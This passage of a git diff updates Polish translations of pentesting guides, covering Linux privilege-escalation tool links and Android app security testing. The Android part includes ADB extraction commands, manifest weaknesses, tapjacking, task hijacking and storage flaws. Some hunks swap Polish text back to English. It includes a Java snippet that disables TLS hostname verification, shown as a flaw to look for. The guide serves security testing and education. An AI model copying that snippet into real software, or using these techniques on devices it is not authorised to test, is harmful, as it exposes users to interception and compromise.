`/usr/lib/systemd/` dla pakietów dystrybucji oraz w `/etc/systemd/system/` dla modyfikacji administratora, upraszczając proces administracji systemem. +**systemd** wyłania się jako nowoczesny init i menedżer usług, oferując zaawansowane funkcje takie jak uruchamianie demonów na żądanie, zarządzanie automontażami i migawki stanu systemu. Organizuje pliki w `/usr/lib/systemd/` dla pakietów dystrybucyjnych i `/etc/systemd/system/` dla modyfikacji administratora, upraszczając administrację systemem. ## Inne sztuczki @@ -1458,14 +1450,14 @@ cisco-vmanage.md ## Android rooting frameworks: manager-channel abuse -Frameworki rootowania Androida często hookują syscall, aby udostępnić uprzywilejowaną funkcjonalność jądra menedżerowi w userspace. Słaba autoryzacja menedżera (np. sprawdzanie podpisu oparte na kolejności FD lub słabe schematy haseł) może umożliwić lokalnej aplikacji podszycie się pod menedżera i eskalację do root na urządzeniach już zrootowanych. Dowiedz się więcej i zapoznaj z szczegółami eksploatacji tutaj: +Frameworki rootujące Androida często hookują syscall, aby udostępnić uprzywilejowaną funkcjonalność jądra menedżerowi w przestrzeni użytkownika. Słabe uwierzytelnianie menedżera (np. sprawdzanie sygnatur bazujące na kolejności FD lub słabe schematy haseł) może umożliwić lokalnej aplikacji podszycie się pod menedżera i eskalację do root na urządzeniach już zrootowanych. Dowiedz się więcej oraz szczegóły eksploatacji tutaj: {{#ref}} android-rooting-frameworks-manager-auth-bypass-syscall-hook.md {{#endref}} -## Ochrony bezpieczeństwa jądra +## Mechanizmy zabezpieczeń jądra - [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check) - [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map) @@ -1483,7 +1475,7 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md **Unix Privesc Check:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\ **Linux Priv Checker:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\ **BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\ -**Kernelpop:** Enumeruje luki jądra w Linux i macOS [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ +**Kernelpop:** Enumerate kernel vulns ins linux and MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ **Mestaploit:** _**multi/recon/local_exploit_suggester**_\ **Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\ **EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ diff --git a/src/mobile-pentesting/android-app-pentesting/README.md b/src/mobile-pentesting/android-app-pentesting/README.md index a02556edd..58cefd70d 100644 --- a/src/mobile-pentesting/android-app-pentesting/README.md +++ b/src/mobile-pentesting/android-app-pentesting/README.md @@ -1,10 +1,10 @@ -# Pentesting aplikacji Androidowych +# Pentesting aplikacji Android {{#include ../../banners/hacktricks-training.md}} -## Podstawy aplikacji Androidowych +## Podstawy aplikacji Android -Zaleca się rozpoczęcie od przeczytania tej strony, aby poznać **najważniejsze elementy związane z bezpieczeństwem Androida oraz najniebezpieczniejsze komponenty aplikacji Androidowych**: +Zdecydowanie zaleca się rozpocząć od przeczytania tej strony, aby poznać **najważniejsze elementy związane z bezpieczeństwem Androida oraz najbardziej niebezpieczne komponenty aplikacji Android**: {{#ref}} @@ -13,15 +13,15 @@ android-applications-basics.md ## ADB (Android Debug Bridge) -To główne narzędzie potrzebne do połączenia z urządzeniem z Androidem (emulowanym lub fizycznym).\ -**ADB** pozwala kontrolować urządzenia zarówno przez **USB**, jak i **Network** z komputera. To narzędzie umożliwia **kopiowanie** plików w obu kierunkach, **instalację** i **odinstalację** aplikacji, **wykonywanie** poleceń shell, **tworzenie kopii zapasowych** danych, **odczytywanie** logów oraz inne funkcje. +To główne narzędzie, którego potrzebujesz, aby połączyć się z urządzeniem Android (emulowanym lub fizycznym).\ +**ADB** pozwala kontrolować urządzenia przez **USB** lub **Network** z komputera. To narzędzie umożliwia **kopiowanie** plików w obie strony, **instalację** i **odinstalowanie** aplikacji, **wykonywanie** poleceń shell, **tworzenie kopii zapasowych** danych, **odczytywanie** logów oraz inne funkcje. -Sprawdź następującą listę [**ADB Commands**](adb-commands.md), aby dowiedzieć się, jak używać adb. +Zapoznaj się z następującą listą [**ADB Commands**](adb-commands.md), aby nauczyć się używać adb. ## Smali -Czasami warto **zmodyfikować kod aplikacji**, aby uzyskać dostęp do **ukrytych informacji** (np. mocno zamaskowanych haseł lub flag). W takim przypadku może być interesujące zdekompilować APK, zmodyfikować kod i skompilować go ponownie.\ -[**W tym tutorialu** możesz **nauczyć się, jak zdekompilować APK, zmodyfikować kod Smali i ponownie skompilować APK** z nową funkcjonalnością](smali-changes.md). To może być bardzo przydatne jako **alternatywa dla kilku testów podczas analizy dynamicznej**, które zostaną przedstawione. Dlatego **zawsze miej na uwadze tę możliwość**. +Czasami warto **zmodyfikować kod aplikacji**, aby uzyskać dostęp do **ukrytych informacji** (np. dobrze obfuskowanych haseł lub flags). Wtedy może być przydatne zdekompilowanie apk, modyfikacja kodu i ponowne skompilowanie.\ +[**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md). Może to być bardzo użyteczne jako **alternatywa dla kilku testów podczas analizy dynamicznej**, które zostaną przedstawione. Więc **zawsze miej tę możliwość na uwadze**. ## Inne ciekawe triki @@ -29,8 +29,8 @@ Czasami warto **zmodyfikować kod aplikacji**, aby uzyskać dostęp do **ukrytyc - [Shizuku Privileged API (ADB-based non-root privileged access)](shizuku-privileged-api.md) - [Exploiting Insecure In-App Update Mechanisms](insecure-in-app-update-rce.md) - [Abusing Accessibility Services (Android RAT)](accessibility-services-abuse.md) -- **Download APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd) -- Wyodrębnianie APK z urządzenia: +- **Pobierz APK**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd) +- Wyodrębnij APK z urządzenia: ```bash adb shell pm list packages com.android.insecurebankv2 @@ -49,7 +49,7 @@ java -jar ../APKEditor.jar m -i splits/ -o merged.apk # after merging, you will need to align and sign the apk, personally, I like to use the uberapksigner java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed ``` -## Studia przypadków i podatności +## Case Studies & Vulnerabilities {{#ref}} @@ -61,41 +61,41 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed ../../linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md {{#endref}} -## Analiza statyczna +## Static Analysis -Przede wszystkim, analizując APK powinieneś **przejrzeć kod Java** przy użyciu dekompilera.\ -Proszę, [**przeczytaj tutaj, aby znaleźć informacje o dostępnych dekompilatorach**](apk-decompilers.md). +First of all, for analysing an APK you should **take a look to the to the Java code** using a decompiler.\ +Please, [**read here to find information about different available decompilers**](apk-decompilers.md). -### Szukanie interesujących informacji +### Looking for interesting Info -Już samo spojrzenie na **strings** w APK pozwala wyszukać **hasła**, **URL** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** keys, **encryption**, **bluetooth uuids**, **tokens** i wszystko interesujące... szukaj nawet kodu wykonawczego — **backdoors** lub backdoorów uwierzytelniania (twardo zakodowane poświadczenia administratora w aplikacji). +Just taking a look to the **strings** of the APK you can search for **passwords**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** keys, **encryption**, **bluetooth uuids**, **tokens** and anything interesting... look even for code execution **backdoors** or authentication backdoors (hardcoded admin credentials to the app). **Firebase** -Zwróć szczególną uwagę na **firebase URLs** i sprawdź, czy są źle skonfigurowane. [Więcej informacji o tym, czym jest Firebase i jak to wykorzystać znajdziesz tutaj.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) +Pay special attention to **firebase URLs** and check if it is bad configured. [More information about whats is FIrebase and how to exploit it here.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) -### Podstawowe zrozumienie aplikacji - Manifest.xml, strings.xml +### Basic understanding of the application - Manifest.xml, strings.xml -Badanie plików aplikacji _Manifest.xml_ oraz **_strings.xml_** może ujawnić potencjalne podatności bezpieczeństwa. Pliki te można uzyskać za pomocą dekompilatorów lub przez zmianę rozszerzenia pliku APK na .zip i rozpakowanie go. +The **examination of an application's _Manifest.xml_ and **_strings.xml_** files can reveal potential security vulnerabilities**. These files can be accessed using decompilers or by renaming the APK file extension to .zip and then unzipping it. -**Podatności** zidentyfikowane na podstawie **Manifest.xml** obejmują: +**Vulnerabilities** identified from the **Manifest.xml** include: -- **Aplikacje z włączonym debugowaniem**: Aplikacje ustawione jako `debuggable="true"` w _Manifest.xml_ stwarzają ryzyko, ponieważ pozwalają na połączenia, które mogą doprowadzić do eksploatacji. Aby lepiej zrozumieć jak wykorzystywać aplikacje z włączonym debugowaniem, odwołaj się do tutoriala dotyczącego wyszukiwania i wykorzystywania takich aplikacji na urządzeniu. -- **Ustawienia kopii zapasowej**: Atrybut `android:allowBackup="false"` powinien być jawnie ustawiony dla aplikacji przetwarzających wrażliwe informacje, aby zapobiec nieautoryzowanym backupom danych przez adb, zwłaszcza gdy włączone jest usb debugging. -- **Bezpieczeństwo sieci**: Niestandardowe konfiguracje network security (`android:networkSecurityConfig="@xml/network_security_config"`) w _res/xml/_ mogą określać szczegóły bezpieczeństwa, takie jak certificate pins i ustawienia ruchu HTTP. Przykładem może być zezwolenie na ruch HTTP dla określonych domen. -- **Exported Activities and Services**: Identyfikacja eksportowanych activities i services w manifeście może ujawnić komponenty, które mogą być nadużyte. Dalsza analiza podczas testów dynamicznych może pokazać, jak je zaatakować. -- **Content Providers i FileProviders**: Eksponowane content providers mogą umożliwić nieautoryzowany dostęp lub modyfikację danych. Konfiguracja FileProviders również powinna być dokładnie sprawdzona. -- **Broadcast Receivers i schematy URL**: Te komponenty mogą być wykorzystane do ataku, ze szczególnym uwzględnieniem sposobu obsługi schematów URL pod kątem podatności na wprowadzenie danych. -- **Wersje SDK**: Atrybuty `minSdkVersion`, `targetSDKVersion` i `maxSdkVersion` wskazują wspierane wersje Androida, podkreślając znaczenie niewspierania przestarzałych, podatnych wersji Androida ze względów bezpieczeństwa. +- **Debuggable Applications**: Applications set as debuggable (`debuggable="true"`) in the _Manifest.xml_ file pose a risk as they allow connections that can lead to exploitation. For further understanding on how to exploit debuggable applications, refer to a tutorial on finding and exploiting debuggable applications on a device. +- **Backup Settings**: The `android:allowBackup="false"` attribute should be explicitly set for applications dealing with sensitive information to prevent unauthorized data backups via adb, especially when usb debugging is enabled. +- **Network Security**: Custom network security configurations (`android:networkSecurityConfig="@xml/network_security_config"`) in _res/xml/_ can specify security details like certificate pins and HTTP traffic settings. An example is allowing HTTP traffic for specific domains. +- **Exported Activities and Services**: Identifying exported activities and services in the manifest can highlight components that might be misused. Further analysis during dynamic testing can reveal how to exploit these components. +- **Content Providers and FileProviders**: Exposed content providers could allow unauthorized access or modification of data. The configuration of FileProviders should also be scrutinized. +- **Broadcast Receivers and URL Schemes**: These components could be leveraged for exploitation, with particular attention to how URL schemes are managed for input vulnerabilities. +- **SDK Versions**: The `minSdkVersion`, `targetSDKVersion`, and `maxSdkVersion` attributes indicate the supported Android versions, highlighting the importance of not supporting outdated, vulnerable Android versions for security reasons. -Z pliku **strings.xml** można odkryć wrażliwe informacje, takie jak klucze API, custom schemas i inne uwagi deweloperskie, co podkreśla potrzebę dokładnego przeglądu tych zasobów. +From the **strings.xml** file, sensitive information such as API keys, custom schemas, and other developer notes can be discovered, underscoring the need for careful review of these resources. ### Tapjacking -**Tapjacking** to atak, w którym **złośliwa aplikacja** jest uruchamiana i **pozycjonuje się nad aplikacją ofiary**. Gdy zasłoni widocznie aplikację ofiary, jej interfejs użytkownika jest zaprojektowany tak, aby oszukać użytkownika i zmusić go do interakcji, podczas gdy faktyczna interakcja jest przekazywana do aplikacji ofiary.\ -W efekcie **oszukuje się użytkownika, ukrywając fakt, że w rzeczywistości wykonuje działania w aplikacji ofiary**. +**Tapjacking** is an attack where a **malicious** **application** is launched and **positions itself on top of a victim application**. Once it visibly obscures the victim app, its user interface is designed in such a way as to trick the user to interact with it, while it is passing the interaction along to the victim app.\ +In effect, it is **blinding the user from knowing they are actually performing actions on the victim app**. -Znajdź więcej informacji w: +Find more information in: {{#ref}} @@ -104,82 +104,82 @@ tapjacking.md ### Task Hijacking -Activity z ustawionym **`launchMode`** na **`singleTask` bez zdefiniowanego `taskAffinity`** jest podatna na Task Hijacking. Oznacza to, że jeśli zainstalowana zostanie złośliwa aplikacja i uruchomiona przed prawdziwą aplikacją, może **przejąć task prawdziwej aplikacji** (użytkownik będzie wchodził w interakcję ze **złośliwą aplikacją, myśląc, że używa oryginalnej**). +An **activity** with the **`launchMode`** set to **`singleTask` without any `taskAffinity`** defined is vulnerable to task Hijacking. This means, that an **application** can be installed and if launched before the real application it could **hijack the task of the real application** (so the user will be interacting with the **malicious application thinking he is using the real one**). -Więcej informacji w: +More info in: {{#ref}} android-task-hijacking.md {{#endref}} -### Niepewne przechowywanie danych +### Insecure data storage **Internal Storage** -W Androidzie pliki **przechowywane** w **internal** storage są **zaprojektowane** tak, aby były dostępne wyłącznie dla aplikacji, która je utworzyła. Ten mechanizm bezpieczeństwa jest **egzekwowany** przez system Android i zazwyczaj wystarcza dla potrzeb większości aplikacji. Jednak deweloperzy czasem używają trybów takich jak `MODE_WORLD_READABLE` i `MODE_WORLD_WRITABLE`, aby **umożliwić** udostępnianie plików między różnymi aplikacjami. Te tryby **nie ograniczają dostępu** do tych plików przez inne aplikacje, w tym potencjalnie złośliwe. +In Android, files **stored** in **internal** storage are **designed** to be **accessible** exclusively by the **app** that **created** them. This security measure is **enforced** by the Android operating system and is generally adequate for the security needs of most applications. However, developers sometimes utilize modes such as `MODE_WORLD_READABLE` and `MODE_WORLD_WRITABLE` to **allow** files to be **shared** between different applications. Yet, these modes **do not restrict access** to these files by other applications, including potentially malicious ones. 1. **Static Analysis:** -- **Upewnij się**, że użycie `MODE_WORLD_READABLE` i `MODE_WORLD_WRITABLE` jest **dokładnie sprawdzone**. Te tryby **mogą potencjalnie ujawnić** pliki niezamierzonemu lub nieautoryzowanemu dostępowi. +- **Ensure** that the use of `MODE_WORLD_READABLE` and `MODE_WORLD_WRITABLE` is **carefully scrutinized**. These modes **can potentially expose** files to **unintended or unauthorized access**. 2. **Dynamic Analysis:** -- **Zweryfikuj** **uprawnienia** ustawione na plikach tworzonych przez aplikację. W szczególności **sprawdź**, czy któreś pliki są **ustawione jako czytelne lub zapisywalne dla wszystkich**. To może stanowić poważne ryzyko bezpieczeństwa, ponieważ pozwoli **dowolnej aplikacji** zainstalowanej na urządzeniu, niezależnie od jej pochodzenia czy zamiaru, **odczytać lub zmodyfikować** te pliki. +- **Verify** the **permissions** set on files created by the app. Specifically, **check** if any files are **set to be readable or writable worldwide**. This can pose a significant security risk, as it would allow **any application** installed on the device, regardless of its origin or intent, to **read or modify** these files. **External Storage** -W przypadku plików na **external storage**, takich jak SD Card, należy zachować ostrożność: +When dealing with files on **external storage**, such as SD Cards, certain precautions should be taken: -1. **Dostępność**: -- Pliki na external storage są **globalnie czytelne i zapisywalne**. Oznacza to, że dowolna aplikacja lub użytkownik może mieć do nich dostęp. -2. **Obawy bezpieczeństwa**: -- Ze względu na łatwość dostępu, zaleca się **nie przechowywać informacji wrażliwych** na external storage. -- External storage można usunąć lub uzyskać do niego dostęp przez dowolną aplikację, co czyni go mniej bezpiecznym. -3. **Obsługa danych z External Storage**: -- Zawsze **przeprowadzaj walidację wejścia** na danych pobieranych z external storage. Jest to kluczowe, ponieważ dane pochodzą ze źródła nieznanego/zewnętrznego. -- Przechowywanie plików wykonywalnych lub klas na external storage do dynamicznego ładowania jest zdecydowanie odradzane. -- Jeśli aplikacja musi pobierać pliki wykonywalne z external storage, upewnij się, że są one **signed i cryptographically verified** przed ich dynamicznym załadowaniem. Ten krok jest niezbędny do utrzymania integralności bezpieczeństwa aplikacji. +1. **Accessibility**: +- Files on external storage are **globally readable and writable**. This means any application or user can access these files. +2. **Security Concerns**: +- Given the ease of access, it's advised **not to store sensitive information** on external storage. +- External storage can be removed or accessed by any application, making it less secure. +3. **Handling Data from External Storage**: +- Always **perform input validation** on data retrieved from external storage. This is crucial because the data is from an untrusted source. +- Storing executables or class files on external storage for dynamic loading is strongly discouraged. +- If your application must retrieve executable files from external storage, ensure these files are **signed and cryptographically verified** before they are dynamically loaded. This step is vital for maintaining the security integrity of your application. -External storage można **dostępować** w /storage/emulated/0 , /sdcard , /mnt/sdcard +External storage can be **accessed** in `/storage/emulated/0` , `/sdcard` , `/mnt/sdcard` > [!TIP] -> Począwszy od Android 4.4 (**API 17**), struktura katalogów na karcie SD **ogranicza dostęp aplikacji do katalogu przeznaczonego specjalnie dla tej aplikacji**. Zapobiega to uzyskaniu przez złośliwą aplikację dostępu do odczytu lub zapisu plików innej aplikacji. +> Starting with Android 4.4 (**API 17**), the SD card has a directory structure which **limits access from an app to the directory which is specifically for that app**. This prevents malicious application from gaining read or write access to another app's files. -**Wrażliwe dane przechowywane w postaci jawnej** +**Sensitive data stored in clear-text** -- **Shared preferences**: Android pozwala każdej aplikacji na łatwe zapisywanie plików xml w ścieżce `/data/data//shared_prefs/` i czasami można znaleźć w tym folderze wrażliwe informacje w postaci jawnej. -- **Databases**: Android pozwala każdej aplikacji na łatwe zapisywanie baz sqlite w ścieżce `/data/data//databases/` i czasami można znaleźć w tym folderze wrażliwe informacje w postaci jawnej. +- **Shared preferences**: Android allow to each application to easily save xml files in the path `/data/data//shared_prefs/` and sometimes it's possible to find sensitive information in clear-text in that folder. +- **Databases**: Android allow to each application to easily save sqlite databases in the path `/data/data//databases/` and sometimes it's possible to find sensitive information in clear-text in that folder. ### Broken TLS **Accept All Certificates** -Z jakiegoś powodu deweloperzy czasami akceptują wszystkie certyfikaty nawet jeśli, na przykład, hostname nie pasuje — z użyciem fragmentów kodu takich jak poniższy: +For some reason sometimes developers accept all the certificates even if for example the hostname does not match with lines of code like the following one: ```java SSLSocketFactory sf = new cc(trustStore); sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER); ``` A good way to test this is to try to capture the traffic using some proxy like Burp without authorising Burp CA inside the device. Also, you can generate with Burp a certificate for a different hostname and use it. -### Błędna kryptografia +### Zła kryptografia **Słabe procesy zarządzania kluczami** -Niektórzy deweloperzy zapisują dane wrażliwe w lokalnym magazynie i szyfrują je kluczem zakodowanym na stałe / przewidywalnym w kodzie. Nie powinno się tego robić, ponieważ reversing może pozwolić atakującym na wyodrębnienie informacji poufnych. +Niektórzy deweloperzy zapisują dane wrażliwe w local storage i szyfrują je z użyciem klucza hardcoded/predictable w kodzie. Nie powinno się tego robić, ponieważ pewne techniki reversingowe mogą pozwolić atakującym na wydobycie poufnych informacji. **Użycie niebezpiecznych i/lub przestarzałych algorytmów** -Deweloperzy nie powinni używać **deprecated algorithms** do wykonywania kontroli autoryzacji, przechowywania lub wysyłania danych. Niektóre z tych algorytmów to: RC4, MD4, MD5, SHA1... Jeśli **hashes** są używane do przechowywania haseł, powinny to być hashe odporne na brute-force z zastosowaniem salt. +Deweloperzy nie powinni używać **przestarzałych algorytmów** do wykonywania **sprawdzeń autoryzacji**, **przechowywania** lub **wysyłania** danych. Niektóre z tych algorytmów to: RC4, MD4, MD5, SHA1... Jeśli **hashes** są używane do przechowywania haseł na przykład, powinny być stosowane hashe odporne na **brute-force** z użyciem salt. ### Inne kontrole -- It's recommended to **obfuscate the APK** to difficult the reverse engineer labour to attackers. -- Jeśli aplikacja jest wrażliwa (np. bank apps), powinna przeprowadzać własne sprawdzenia, aby ustalić, czy urządzenie jest rooted i odpowiednio reagować. -- Jeśli aplikacja jest wrażliwa (np. bank apps), powinna sprawdzać, czy używany jest **emulator**. -- Jeśli aplikacja jest wrażliwa (np. bank apps), powinna **sprawdzić swoją integralność przed uruchomieniem**, aby ustalić, czy została zmodyfikowana. -- Use [**APKiD**](https://github.com/rednaga/APKiD) to check which compiler/packer/obfuscator was used to build the APK +- Zaleca się **obfuskować APK**, aby utrudnić pracę reverse engineerom. +- Jeśli aplikacja jest wrażliwa (np. aplikacje bankowe), powinna wykonywać **własne kontrole, czy urządzenie jest rooted** i działać odpowiednio. +- Jeśli aplikacja jest wrażliwa (np. aplikacje bankowe), powinna sprawdzać, czy używany jest **emulator**. +- Jeśli aplikacja jest wrażliwa (np. aplikacje bankowe), powinna **sprawdzić swoją integralność przed uruchomieniem**, aby wykryć, czy została zmodyfikowana. +- Użyj [**APKiD**](https://github.com/rednaga/APKiD) aby sprawdzić, który compiler/packer/obfuscator został użyty do zbudowania APK ### Aplikacja React Native -Przeczytaj następującą stronę, aby dowiedzieć się, jak łatwo uzyskać dostęp do kodu javascript aplikacji React: +Przeczytaj następującą stronę aby dowiedzieć się jak w prosty sposób uzyskać dostęp do kodu javascript aplikacji React: {{#ref}} @@ -188,7 +188,7 @@ react-native-application.md ### Aplikacje Xamarin -Przeczytaj następującą stronę, aby dowiedzieć się, jak łatwo uzyskać dostęp do kodu C# aplikacji xamarin: +Przeczytaj następującą stronę aby dowiedzieć się jak w prosty sposób uzyskać dostęp do kodu C# aplikacji xamarin: {{#ref}} @@ -197,19 +197,19 @@ Przeczytaj następującą stronę, aby dowiedzieć się, jak łatwo uzyskać dos ### Superpacked Applications -According to this [**blog post**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superpacked is a Meta algorithm that compress the content of an application into a single file. The blog talks about the possibility of creating an app that decompress these kind of apps... and a faster way which involves to **execute the application and gather the decompressed files from the filesystem.** +Zgodnie z tym [**blog post**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superpacked to algorytm Meta, który kompresuje zawartość aplikacji do pojedynczego pliku. Blog opisuje możliwość stworzenia aplikacji, która dekompresuje tego typu aplikacje... oraz szybszy sposób polegający na **uruchomieniu aplikacji i zebraniu zdekompresowanych plików z filesystemu.** ### Zautomatyzowana statyczna analiza kodu -Narzędzie [**mariana-trench**](https://github.com/facebook/mariana-trench) potrafi znaleźć **vulnerabilities** poprzez **scanning** **code** aplikacji. To narzędzie zawiera zbiór **known sources** (które wskazują narzędziu **places** gdzie **input** jest **controlled by the user**), **sinks** (które wskazują narzędziu **dangerous** **places** gdzie złośliwy input użytkownika może wyrządzić szkody) oraz **rules**. Zasady te wskazują **combination** **sources-sinks** które sygnalizują podatność. +Narzędzie [**mariana-trench**](https://github.com/facebook/mariana-trench) jest w stanie znaleźć **vulnerabilities** poprzez **skanowanie** **kodu** aplikacji. To narzędzie zawiera serię **known sources** (które wskazują narzędziu **miejsce**, gdzie **wejście** jest **kontrolowane przez użytkownika**), **sinks** (które wskazują narzędziu **niebezpieczne** **miejsca**, gdzie złośliwe dane wejściowe mogą wyrządzić szkody) oraz **rules**. Te rules wskazują **kombinacje** **sources-sinks**, które sygnalizują podatność. -Dzięki temu **mariana-trench przeanalizuje kod i znajdzie możliwe podatności**. +Z tą wiedzą, **mariana-trench przejrzy kod i znajdzie możliwe podatności w nim**. ### Secrets leaked -An application may contain secrets (API keys, passwords, hidden urls, subdomains...) inside of it that you might be able to discover. You could us a tool such as [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks) +Aplikacja może zawierać secrets (API keys, passwords, hidden urls, subdomains...) wewnątrz, które możesz być w stanie odkryć. Możesz użyć narzędzia takiego jak [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks) -### Bypass Biometric Authentication +### Obejście uwierzytelniania biometrycznego {{#ref}} @@ -218,12 +218,12 @@ bypass-biometric-authentication-android.md ### Inne interesujące funkcje -- **Code execution**: `Runtime.exec(), ProcessBuilder(), native code:system()` -- **Send SMSs**: `sendTextMessage, sendMultipartTestMessage` -- **Native functions** declared as `native`: `public native, System.loadLibrary, System.load` -- [Read this to learn **how to reverse native functions**](reversing-native-libraries.md) +- **Wykonanie kodu**: `Runtime.exec(), ProcessBuilder(), native code:system()` +- **Wysyłanie SMS-ów**: `sendTextMessage, sendMultipartTestMessage` +- **Funkcje natywne** zadeklarowane jako `native`: `public native, System.loadLibrary, System.load` +- [Przeczytaj to aby dowiedzieć się **jak reverse native functions**](reversing-native-libraries.md) -### **Other tricks** +### **Inne sztuczki** {{#ref}} @@ -236,11 +236,11 @@ content-protocol.md ## Analiza dynamiczna -> Przede wszystkim potrzebujesz środowiska, w którym możesz zainstalować aplikację i całe środowisko (Burp CA cert, Drozer i Frida głównie). Dlatego urządzenie z rootem (emulowane lub nie) jest zdecydowanie zalecane. +> Przede wszystkim potrzebujesz środowiska, w którym możesz zainstalować aplikację i całe otoczenie (Burp CA cert, Drozer and Frida głównie). Dlatego zalecane jest użycie rooted device (emulowane lub nie). ### Analiza dynamiczna online -Możesz założyć **darmowe konto** na: [https://appetize.io/](https://appetize.io). Ta platforma pozwala **upload** i **execute** APK, więc jest przydatna do sprawdzenia, jak apk się zachowuje. +Możesz założyć **darmowe konto** na: [https://appetize.io/](https://appetize.io). Ta platforma pozwala **upload** i **execute** APKs, więc jest przydatna do obserwowania zachowania apk. Możesz nawet **zobaczyć logi swojej aplikacji** w przeglądarce i połączyć się przez **adb**. @@ -250,205 +250,207 @@ Dzięki połączeniu ADB możesz używać **Drozer** i **Frida** wewnątrz emula ### Lokalna analiza dynamiczna -#### Korzystanie z emulatora +#### Używanie emulatora -- [**Android Studio**](https://developer.android.com/studio) (Możesz tworzyć urządzenia **x86** i **arm**, i zgodnie z [**tym**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html) **najnowsze wersje x86** obsługują **ARM libraries** bez potrzeby używania wolnego emulatora arm). -- Naucz się, jak to skonfigurować na tej stronie: +- [**Android Studio**](https://developer.android.com/studio) (Możesz tworzyć urządzenia **x86** i **arm**, i zgodnie z [**tym** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**najnowsze x86** wersje **wspierają biblioteki ARM** bez potrzeby używania wolnego emulátora ARM). +- Naucz się jak je skonfigurować na tej stronie: {{#ref}} avd-android-virtual-device.md {{#endref}} -- [**Genymotion**](https://www.genymotion.com/fun-zone/) (wersja darmowa: Personal Edition, wymagane założenie konta. Zaleca się pobranie wersji z **VirtualBox**, aby uniknąć potencjalnych błędów.) -- [**Nox**](https://es.bignox.com) (darmowy, ale nie obsługuje Frida ani Drozer). +- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(wersja darmowa:** Personal Edition, trzeba założyć konto. _Zaleca się **pobrać** wersję **Z**_ _**VirtualBox** aby uniknąć potencjalnych błędów._) +- [**Nox**](https://es.bignox.com) (Darmowy, ale nie wspiera Frida ani Drozer). > [!TIP] -> Przy tworzeniu nowego emulatora na dowolnej platformie pamiętaj, że im większy ekran, tym wolniej będzie działał emulator. Dlatego wybieraj małe ekrany, jeśli to możliwe. +> Przy tworzeniu nowego emulatora na jakiejkolwiek platformie pamiętaj, że im większy ekran, tym emulator będzie działał wolniej. Wybieraj więc małe ekrany, jeśli to możliwe. -Aby **zainstalować google services** (np. AppStore) w Genymotion musisz kliknąć przycisk zaznaczony na czerwono na poniższym obrazku: +Aby **zainstalować google services** (jak AppStore) w Genymotion musisz kliknąć w czerwony przycisk zaznaczony na poniższym obrazie: ![](<../../images/image (277).png>) -Zwróć też uwagę, że w **konfiguracji Android VM w Genymotion** możesz wybrać **Bridge Network mode** (to będzie przydatne, jeśli będziesz łączyć się z Android VM z innej VM z narzędziami). +Zauważ też, że w **konfiguracji maszyny Android w Genymotion** możesz wybrać **Bridge Network mode** (to będzie przydatne jeśli będziesz łączyć się z Android VM z innej VM z narzędziami). #### Użycie urządzenia fizycznego -Musisz aktywować opcje **debugowania**, a dobrze byłoby, jeśli możesz je **root**: +Musisz aktywować **opcje debugowania**, a będzie dobrze, jeśli będziesz mógł je **zrootować**: 1. **Ustawienia**. -2. (Od Androida 8.0) Wybierz **System**. -3. Wybierz **About phone**. -4. Naciśnij **Build number** 7 razy. -5. Wróć i znajdziesz **Developer options**. +2. (Od Android 8.0) Wybierz **System**. +3. Wybierz **Informacje o telefonie**. +4. Naciśnij **Numer kompilacji** 7 razy. +5. Wróć i znajdziesz **Opcje programisty**. -> Po zainstalowaniu aplikacji pierwszą rzeczą, którą powinieneś zrobić, jest jej wypróbowanie, sprawdzenie, co robi, jak działa i oswojenie się z nią.\ -> Sugeruję **wykonać tę początkową analizę dynamiczną używając MobSF dynamic analysis + pidcat**, dzięki czemu będziemy mogli **dowiedzieć się, jak aplikacja działa**, podczas gdy MobSF **przechwyci** dużo **interesujących** **danych**, które możesz przejrzeć później. +> Po zainstalowaniu aplikacji, pierwszą rzeczą jaką powinieneś zrobić jest jej przetestowanie i zbadanie co robi, jak działa i oswojenie się z nią.\ +> Sugeruję wykonanie tej początkowej 